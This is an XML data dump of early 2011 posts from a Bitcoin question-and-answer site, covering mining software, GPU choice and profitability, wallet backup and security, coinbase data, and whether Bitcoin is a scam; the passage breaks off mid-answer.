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  <row Id="1" PostTypeId="1" CreationDate="2011-08-30T21:12:34.090" Score="29" ViewCount="39469" Body="&lt;p&gt;What open source miner applications are there? Especially to see how the mining process works.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="5406" LastEditDate="2016-01-21T15:10:59.710" LastActivityDate="2021-12-09T17:45:19.383" Title="What open source miner applications are there?" Tags="|mining-setup|miner-configuration|mining-software|" AnswerCount="10" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="1" AcceptedAnswerId="15" CreationDate="2011-08-30T21:14:50.327" Score="9" ViewCount="5180" Body="&lt;p&gt;GPU mining is the way to go, as at August 2011, until something better arrives on the market. There are plenty of GPUs out there, but only a handful offer the best performance when comparing total number of Bitcoins generated vs. power consumed vs. initial purchase cost of the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which GPUs provide the best performance in regards to Bitcoin Generation vs. Power Consumption?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2016-01-21T15:15:41.977" LastActivityDate="2016-01-21T15:15:41.977" Title="Best GPUs for Mining" Tags="|mining-hardware|gpu-mining|" AnswerCount="5" CommentCount="3" FavoriteCount="0" ClosedDate="2014-08-10T23:28:43.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="1" CreationDate="2011-08-30T21:14:52.000" Score="7" ViewCount="3788" Body="&lt;p&gt;We all know that mining is supposed to keep the Bitcoin system secure. However, difficulty has risen so much that costs for power currently outstrip possible revenue for mining for a large portion of hardware - not only CPUs, but also many GPUs. Essentially for everything but specially built mining rigs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, if you don't take transaction fees into account. Are they already high enough to support mining? Or are mining rigs going to be enough to keep Bitcoin secure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: the question is about the current situation, not some arbitrary point in the future.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="5406" LastEditDate="2016-01-20T21:08:13.797" LastActivityDate="2016-01-20T21:08:13.797" Title="Is mining still profitable?" Tags="|mining-reward|mining-profitability|" AnswerCount="4" CommentCount="4" ClosedDate="2011-08-31T02:21:39.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:17:45.367" Score="20" Body="&lt;p&gt;The official list is on &lt;a href=&quot;https://en.bitcoin.it/wiki/Software#Mining_apps&quot; rel=&quot;noreferrer&quot;&gt;The Wiki&lt;/a&gt; and is constantly being modified since new software shows up fairly often, but here's the quick breakdown:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Poclbm - Python/OpenCL GPU miner (GUI)&lt;/li&gt;&#xA;&lt;li&gt;DiabloMiner - Java/OpenCL GPU miner (MAC OS X GUI)&lt;/li&gt;&#xA;&lt;li&gt;RPC Miner - remote RPC miner (MAC OS X GUI)&lt;/li&gt;&#xA;&lt;li&gt;Phoenix miner - miner&lt;/li&gt;&#xA;&lt;li&gt;Cpu Miner - miner&lt;/li&gt;&#xA;&lt;li&gt;Ufasoft miner - miner&lt;/li&gt;&#xA;&lt;li&gt;Pyminer - Python miner, reference implementation&lt;/li&gt;&#xA;&lt;li&gt;Remote miner - mining pool software&lt;/li&gt;&#xA;&lt;li&gt;Open Source FGPA Bitcoin Miner - a miner that makes use of an FPGA Board&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/m0mchil/poclbm/archives/master&quot; rel=&quot;noreferrer&quot;&gt;Poclbm&lt;/a&gt; and &lt;a href=&quot;https://xp-dev.com/svn/phoenix-miner/files/&quot; rel=&quot;noreferrer&quot;&gt;Phoenix&lt;/a&gt; are probably the most popular (links go to the sources) though that's based more on my opinion than any facts or studies. In either case, both should shed some light on the mining process.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2015-07-28T08:25:34.603" LastActivityDate="2015-07-28T08:25:34.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:18:00.607" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=6458.0&quot; rel=&quot;nofollow&quot;&gt;Phoenix&lt;/a&gt; is a very good GPU miner. While I couldn't find the exact license, it's source is available on GitHub: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6458.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=6458.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, it's written in python, so you could see the source anyways. However, it's actually quite easy to understand and modify, e.g. to create your own logging interface.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2011-08-30T21:18:00.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:18:15.337" Score="19" Body="&lt;p&gt;jzgarzik wrote a very basic miner in Python. It is slow on purpose, because it shows how a simple miner works (and the mining process). It can also be reused as boilerplate code (the getwork JSON-RPC command).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/pyminer/blob/master/pyminer.py&quot;&gt;https://github.com/jgarzik/pyminer/blob/master/pyminer.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-30T21:18:15.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:18:17.153" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/m0mchil/poclbm&quot; rel=&quot;nofollow&quot;&gt;M0mchil's poclbm&lt;/a&gt;, written in python, hosted on github.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="196" LastEditDate="2013-01-28T18:02:35.893" LastActivityDate="2013-01-28T18:02:35.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="1" CreationDate="2011-08-30T21:18:22.287" Score="14" ViewCount="628" Body="&lt;p&gt;I would like to develop a mobile Bitcoin application for the Android and iPhone platforms.  What libraries and resources can I use?&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="25" LastEditDate="2011-08-30T21:32:17.007" LastActivityDate="2012-03-27T05:28:21.600" Title="How do I develop mobile applications for Bitcoin?" Tags="|mobile|development|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="1" CreationDate="2011-08-30T21:18:25.467" Score="23" ViewCount="2916" Body="&lt;p&gt;I didn't get it. Should my wallet be online? What if it becomes corrupted before I make a backup? Can I use my backup wallet that was backed up few days ago?&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="5406" LastEditDate="2014-10-22T09:44:21.370" LastActivityDate="2014-10-22T09:44:21.370" Title="What happens when someone sends bitcoin to my wallet?" Tags="|transactions|wallet|backup|receiving|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:19:09.740" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Poclbm&quot; rel=&quot;nofollow&quot;&gt;Poclbm&lt;/a&gt;: An open source, python based GPU miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9047.0&quot; rel=&quot;nofollow&quot;&gt;Open Source FPGA Miner&lt;/a&gt;: The name says it all.  Hit the source for the project.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-30T21:19:09.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="2" ParentId="3" CreationDate="2011-08-30T21:20:27.337" Score="2" Body="&lt;p&gt;If I had more disposable income right now, I'd be investing another mining rig.  I have faith in bitcoin and want to support it, but sadly 2.2 Ghash/s is all I can contribute right now.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:20:27.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:20:27.893" Score="2" Body="&lt;p&gt;The most obvious open-source mining application is the official Bitcoin client itself, available at: &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code is well written and shows quite clearly the way that hashing is performed in order to mine new blocks. It is however a CPU-only algorithm, and doesn't use some of the more advanced mechanisms for accelerating the hashing process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite this, it definitely offers a good introduction into how the generation of blocks, hashing etc. works, without the added overhead of having to deal with potentially unfamiliar GPU-based mining code, which is intentially highly optimised and as a result will likely to be more difficult to understand, and make the basic concepts more difficult to follow.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-08-30T21:20:27.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="1" AcceptedAnswerId="27" CreationDate="2011-08-30T21:20:47.390" Score="19" ViewCount="2754" Body="&lt;p&gt;What would the effects be on the world economy if several million people around the world would utilize the Bitcoin currency for their daily transactions? Would you expect the GDP to grow faster or slower and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in this, because the first thing I want to get straight is whether I would contribute something positive if I supported the project.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2014-10-22T09:48:12.700" LastActivityDate="2014-10-22T09:48:12.700" Title="Effect on economy if Bitcoin was widely adopted" Tags="|bitcoin-economy|adoption|macroeconomics|" AnswerCount="10" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="2" ParentId="9" CreationDate="2011-08-30T21:20:58.183" Score="12" Body="&lt;p&gt;It's actually quite simple. Your wallet is a collection of private keys, each identified by an ID. When someone sends you bitcoins, those are just assigned to one of those private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information about which key has how many bitcoins is stored in the bitcoin network itself, ie in the database each client has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you want to use the bitcoins which belong to one specific key, you need this key to sign the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, you don't need to be online to receive a transaction. You can also restore an older backup, as long as you haven't created any new keys in the meantime. If you have created new keys, it all depends on your luck - was the transaction sent to a new or an old key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it gets corrupted before you make a backup you are SOL - nobody has the correct private key then.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2011-08-30T21:20:58.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostTypeId="2" ParentId="2" CreationDate="2011-08-30T21:21:38.053" Score="7" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; the best GPU in regards to power consumption is the 5970, the tricky part is finding one of those for sale.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:21:38.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16" PostTypeId="1" CreationDate="2011-08-30T21:22:12.293" Score="27" ViewCount="2052" Body="&lt;p&gt;I've tried to read about what a Bitcoin is, how to mine, etc.  I find them to be confusing in that I don't understand the underlying factors driving Bitcoin.  Everything I've read seems to assume the reader has some knowledge of Bitcoin (even the wiki).  Where should I start?&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="5406" LastEditDate="2014-10-12T22:14:02.697" LastActivityDate="2022-10-05T11:38:04.800" Title="What are some good resources for understanding Bitcoin?" Tags="|bitcoin-literature|introducing-bitcoin|" AnswerCount="13" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="2" ParentId="3" CreationDate="2011-08-30T21:22:31.547" Score="5" Body="&lt;p&gt;Mining will probably always be profitable to someone, and there is no threat of a low global hash threatening security. It has built in checks and balances... &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T21:22:31.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="1" AcceptedAnswerId="26" CreationDate="2011-08-30T21:22:33.277" Score="20" ViewCount="8544" Body="&lt;p&gt;Some mining pool admins put custom data in block headers, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38007.0&quot;&gt;like prayers&lt;/a&gt;. How do they do that? Where can I see that data for myself?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="5406" LastEditDate="2016-01-27T13:41:56.127" LastActivityDate="2016-01-27T13:41:56.127" Title="How can one embed custom data in block headers?" Tags="|mining-pools|coinbase-transaction|block-header|mining-theory|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="2" ParentId="9" CreationDate="2011-08-30T21:22:42.307" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;Your computer does not need to be running Bitcoin to receive coins. When someone sends coins to you, it just creates a transaction that eventually gets included in the block chain (that gets downloaded by everyone running Bitcoin) ; in other words, the whole network grants you the ability to spend those coins. So you don't need to be online for this to happen.&lt;/li&gt;&#xA;&lt;li&gt;If your wallet corrupts and you have no backup, your coins are permanently lost.&lt;/li&gt;&#xA;&lt;li&gt;If you have a recent backup, you can reuse it safely (the wallet contains a pool of new addresses, so even if you made a few transactions it will work). However, if you made lots of transactions (more than a few dozens) since your last backup, you will lose some of your coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-30T21:22:42.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="2" ParentId="3" CreationDate="2011-08-30T21:26:38.127" Score="3" Body="&lt;p&gt;This is a very open-ended question and it kind of depends on how optimistic/pessimistic you may be toward the Bitcoin community and the value of the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A while back PC Perspective ran an article (&lt;a href=&quot;http://pcper.com/reviews/Graphics-Cards/Bitcoin-Currency-and-GPU-Mining-Performance-Comparison/Testing-Configuration-&quot; rel=&quot;nofollow&quot;&gt;located here&lt;/a&gt;) comparing various GPUs and did a very thorough analysis of the hardware that was out there and in common use for mining.  There tests found that mining can still be considerably lucrative, however, a bitcoin was going for $14.30 each, where today it's closer to the $8.50-8.75 range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are optimistic about bitcoins, then, yes, it's worth mining and banking your coins.  If, however, you feel that the price of each coin has dropped and will most likely not go back up for a while, if at all, you may feel that it's not worth the effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer really is relative.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-30T21:26:38.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostTypeId="2" ParentId="18" CreationDate="2011-08-30T21:26:43.510" Score="5" Body="&lt;p&gt;There was &lt;a href=&quot;http://dankaminsky.com/2011/08/05/bo2k11/&quot; rel=&quot;nofollow&quot;&gt;a very interesting talk&lt;/a&gt; at Chaos Communication Camp this year on this topic. IIRC, you can store arbitrary information in bitcoin transactions, since they actually contain &quot;programs&quot; specifying how the transaction should be verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information on the 'scripting' interface can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  See section 2.3 for details on imbedding messages.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="4774" LastEditDate="2011-08-31T01:46:50.770" LastActivityDate="2011-08-31T01:46:50.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="1" AcceptedAnswerId="31" CreationDate="2011-08-30T21:26:59.183" Score="140" ViewCount="80956" Body="&lt;p&gt;Bitcoin users frequently generate new addresses for each transaction they make, which greatly increases the number of bitcoin addresses being used to receive money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible (and profitable) for someone to find collisions in the bitcoin address space in order to steal money?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-08-19T08:07:13.680" LastActivityDate="2017-12-04T05:25:36.733" Title="Is it possible to brute force bitcoin address creation in order to steal money?" Tags="|security|address|weaknesses|key-collision|" AnswerCount="11" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="8" CreationDate="2011-08-30T21:27:53.190" Score="2" Body="&lt;p&gt;The development forum of course! There is a great deal of code you could repurpose over on github. I would think android development would be easier, and maybe a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know C++, definitely check out the bitcoin core.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T21:27:53.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25" PostTypeId="2" ParentId="3" CreationDate="2011-08-30T21:28:09.857" Score="6" Body="&lt;p&gt;There are two factors that define the profitability of mining, and they tend to change somewhat independently of one another or at least lag one another quite significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first factor is difficulty. Blocks should be generated every 10 minutes on average, regardless of the amount of processing power available to the network, so difficulty adjusts how hard it is to find the solution to a block. This factor is based solely on the total hashrate of the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second factor is price. Assuming we're speaking of profitability in terms of US Dollars or other fiat currencies, we have to account for our earnings in the same currency that was used to pay for our costs. To my knowledge there is not (yet) a power company that will allow you to pay your electric bill in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From personal experience I can say that my dedicated rigs consume about $4 worth of electricity to produce 1 BTC and if I'm lucky enough to be average my hardware will have a long enough MTBF (mean time between failures) that its cost amortized over the life of the machine will perhaps bring that up to $4.50 or $5 per coin. At today's rate of $8.69 per BTC, it is still profitable though just barely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU mining cannot produce at a high enough efficiency to be worth the electricity cost, and the same can likely be said for less efficient GPUs. Of course some folks don't pay per kilowatt-hour for electricity usage and for these folks ANY kind of mining is still profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a few folks on the forums selling FPGA boards which, though quite expensive up front, consume only 10-15% of the electricity of a comparable GPU. A single Xilinx Spartan6 board, for example, produces 100 MH/s at a little under 7 watts, compared to a Radeon HD 5830 which produces around 200 MH/s (without overclocking) at about 108 watts (54 watts per 100 MH/s).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T21:28:09.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="2" ParentId="18" CreationDate="2011-08-30T21:28:38.357" Score="18" Body="&lt;p&gt;When you generate a block, the generation transaction (the one that creates new coins) has an attribute called &lt;strong&gt;coinbase&lt;/strong&gt;. It's a special value you can put anything you want in to make the block unpredictable to others (and this is good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, naturally, you can put text in this attribute, although most just put mining-related information that is not human-readable (nonce and extra-nonce).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read this coinbase by using a patched bitcoin node that can dump blocks, for example with the &quot;dumpblock&quot; or &quot;getblockbyhash&quot; patches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can just print every string in the blockchain database directly :&#xA;&lt;code&gt;strings -n 20 blk0001.dat&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for the 1st block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase: &lt;code&gt;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASCII-translation:&#xA;&lt;code&gt;ᝣᝣᝣᝣᝣᝣᝣEThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what is used by the Eligius pool ; it puts prayers in this field.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditDate="2012-02-17T23:43:31.647" LastActivityDate="2012-02-17T23:43:31.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostTypeId="2" ParentId="13" CreationDate="2011-08-30T21:29:41.607" Score="18" Body="&lt;p&gt;GDP would accelerate because of less transactional friction.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T21:29:41.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="1" AcceptedAnswerId="51" CreationDate="2011-08-30T21:30:03.693" Score="44" ViewCount="11807" Body="&lt;p&gt;The standard Bitcoin client does not encrypt wallet files, so any malicious user that gains access to this file will be able to transfer all the coins to their own wallet.  Furthermore, if I lose the wallet file then I lose access to those coins.  What steps must I take to prevent loss of coins like this?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2019-11-28T20:08:57.053" Title="How can I keep my wallet secure?" Tags="|wallet|backup|security|encryption|" AnswerCount="10" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostTypeId="2" ParentId="16" CreationDate="2011-08-30T21:31:33.673" Score="5" Body="&lt;p&gt;For a detailed, yet approachable (if you know a little bit about software and cryptography) overview of how bitcoin works, read Satoshi's white paper at: &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a hint to get you started: a bitcoin is a balance in an account.  It's not a token that is passed around.  Many digital cash systems are based on discreet tokens.  That's not the case with bitcoin.  It is a ledger system that consists of a transaction history where balances are transferred between accounts.  If you understand this before reading the paper, it might make more sense.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T21:31:33.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostTypeId="2" ParentId="2" CreationDate="2011-08-30T21:32:53.790" Score="2" Body="&lt;p&gt;For price/hash the 5830 and 5850 have been the champs for a while. The 6990 is argueably better because of depreciation... right now it is probably better to buy bitcoins instead of rigs. Or have diversity and split between the two options.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T21:32:53.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31" PostTypeId="2" ParentId="22" CreationDate="2011-08-30T21:32:59.273" Score="73" Body="&lt;p&gt;It may be &quot;theoretically&quot; possible, but in reality it's unlikely to be achieved - As in counting the number of atoms in an office building unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses are actually the 256-bit &lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot;&gt;SHA&lt;/a&gt; hash of an &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot;&gt;ECDSA&lt;/a&gt; public key, so any vulnerabilities in those algorithms would constitute a vulnerability in bitcoin itself. Realistically, however, breaking this level of encryption requires a huge amount of processing power. Coincidentally it requires precisely the same kind of processing power that bitcoin mining requires and in almost every scenario it would be massively more profitable to mine than to hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: It's actually RIPEMD-160(SHA-256(public key)) as opposed to just SHA-256(public key) as I originally mentioned, so it's a 160-bit hash of a 256-bit hash of a public key. While the target keyspace (160 bits) is smaller thanks to this final step, it's also an additional computation that a would-be hacker must make. While the additional computational complexity doesn't even come close to canceling out the removal of 96 bits of keyspace, it should be noted that finding a collision in a 160-bit keyspace is still incredibly difficult and time consuming. More importantly, it is more difficult and time consuming than actually mining the same number of coins would be, thus making it highly unlikely anyone would even attempt such an attack - even if the equipment to make such an attack plausible in a meaningfully small span of time existed.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-02-12T21:19:08.580" LastActivityDate="2012-02-12T21:19:08.580" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="32" PostTypeId="1" AcceptedAnswerId="35" CreationDate="2011-08-30T21:33:40.923" Score="24" ViewCount="8509" Body="&lt;p&gt;Adam Cohen of SeatGeek &lt;a href=&quot;http://www.quora.com/Bitcoin/Is-the-cryptocurrency-Bitcoin-a-good-idea&quot;&gt;called Bitcoin a &quot;scam&quot;&lt;/a&gt;.  Other people have compared Bitcoin to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Ponzi_scheme&quot;&gt;Ponzi&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Pyramid_scheme&quot;&gt;pyramid&lt;/a&gt; scheme.  Can Bitcoin be considered a scheme to defraud people?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="2306" LastEditDate="2014-09-13T19:47:29.030" LastActivityDate="2018-10-03T10:11:45.830" Title="Is Bitcoin a scam?" Tags="|fraud|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33" PostTypeId="2" ParentId="22" CreationDate="2011-08-30T21:34:03.990" Score="2" Body="&lt;p&gt;Theoretically it is possible (but not profitable).  But in reality the amount of money you would have to spend to do it would be a lot more than what you would make.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:34:03.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34" PostTypeId="2" ParentId="9" CreationDate="2011-08-30T21:34:25.540" Score="3" Body="&lt;p&gt;You should try to keep your bitcoin client online.  This allows the client to keep up with the latest transactions.  However, You can receive money while bitcoin is offline, the transaction is logged to the network and once you reconnect and catchup with all transactions your account will show the money you received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should keep your wallet file protected. This includes not posting it online or sharing it with anyone. You should also limit access to your computer with the wallet file.  Consider encrypting any backups of the file.  If anyone gains access to your wallet file they will always be able to spend money from it at any point if the future.  If you suspect your wallet file has been compromised create a new wallet file and transfer all of your bitcoins to the new file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet file gets corrupted you can restore it from backup and tell the bitcoin client to &quot;rescan&quot; on launch (&quot;bitcoin -rescan&quot; from the command line).  This will re-parse the wallet.dat file and restore your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one exception is if you have done more then 100 transactions on new addresses since your backup.  The backup wallet file holds up to 100 addresses after you use them up bitcoin will generate new addresses.  If money is sent to those addresses, and you then restore an old wallet.dat, that old wallet will not have access to those funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet file is destroyed without a backup all the bitcoins it contains are lost forever, like lighting a dollar bill on fire.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-30T21:34:25.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35" PostTypeId="2" ParentId="32" CreationDate="2011-08-30T21:34:43.903" Score="31" Body="&lt;p&gt;It's important to differentiate between a scam, where a person or entity stands to profit fraudulently from others, and a high-risk investing decision, where there is potential for a person to lose significant amounts of money without being defrauded by anyone.  With that clarification, &lt;strong&gt;Bitcoin is clearly not a scam.  Like any other currency, Bitcoin is designed to be used as money, not as an investment.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Ponzi scheme is a type of confidence scam where people who think they are earning unusually high returns on an investment are actually being paid from their own money and that of later investors.   If investors try and withdraw their original investment from the Ponzi operator, the scheme collapses because no actual profits exist and there is not enough money to return the deposited amounts.  Alternatively the Ponzi operator may simply leave and take the investors' money with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, a pyramid scheme is a type of confidence scam where people who &quot;enroll&quot; by paying a certain amount of money are made to believe they can make a large return on their investment by recruiting other people and receiving some portion of their enrollment fee.  The scheme collapses because it requires exponential growth, so it quickly runs out of new people to enroll.  The person starting the pyramid scam, who didn't have to pay an enrollment fee, makes money off of all their referrals; while the people at the bottom parts of the pyramid, who cannot find anyone new to refer, are left with no return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike either of these situations, Bitcoin has no person &quot;at the top&quot; who collects money paid for bitcoins, or has to pay out when bitcoins are sold.  Neither is there any kind of scheme in Bitcoin to harvest money off of unsuspecting people in complicated ways.  Instead, bitcoins are bought and sold on public exchanges amongst members of the general public who must all obey the same rules.  If someone has told you that Bitcoin is a moneymaking scheme, they have misconstrued it--&lt;strong&gt;bitcoins follow the same economic model as any other finite commodity and over time will tend to approach a price that reflects the value people ascribe to being able to use them&lt;/strong&gt;.  People who have made money off of buying and/or selling bitcoins are either lucky or have correctly predicted an increase in demand for them.  People who earn bitcoins through &quot;mining&quot; are being paid for verifying and securing network transactions in a highly competitive market.  In neither case is any kind of fraudulent activity or confidence scam happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite the fact that Bitcoin itself is not a scam, caution is strongly advised when entering into transactions with untrusted entities.  As with any other valuable commodity, there are many people willing to separate your bitcoins from you in sneaky or fraudulent ways.  Remember that for all practical purposes Bitcoin works just like cash.  Bitcoin Ponzi and pyramid schemes do exist and if you fall prey to them you will suffer the consequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, bitcoins are a very new and unproven type of money.  Because their value depends on how widely they are accepted, they are susceptible to the same types of economic bubbles as any other commodity that is surging in popularity. The Bitcoin software is still in beta, and bitcoins should be considered &quot;high-risk&quot; from a financial perspective.  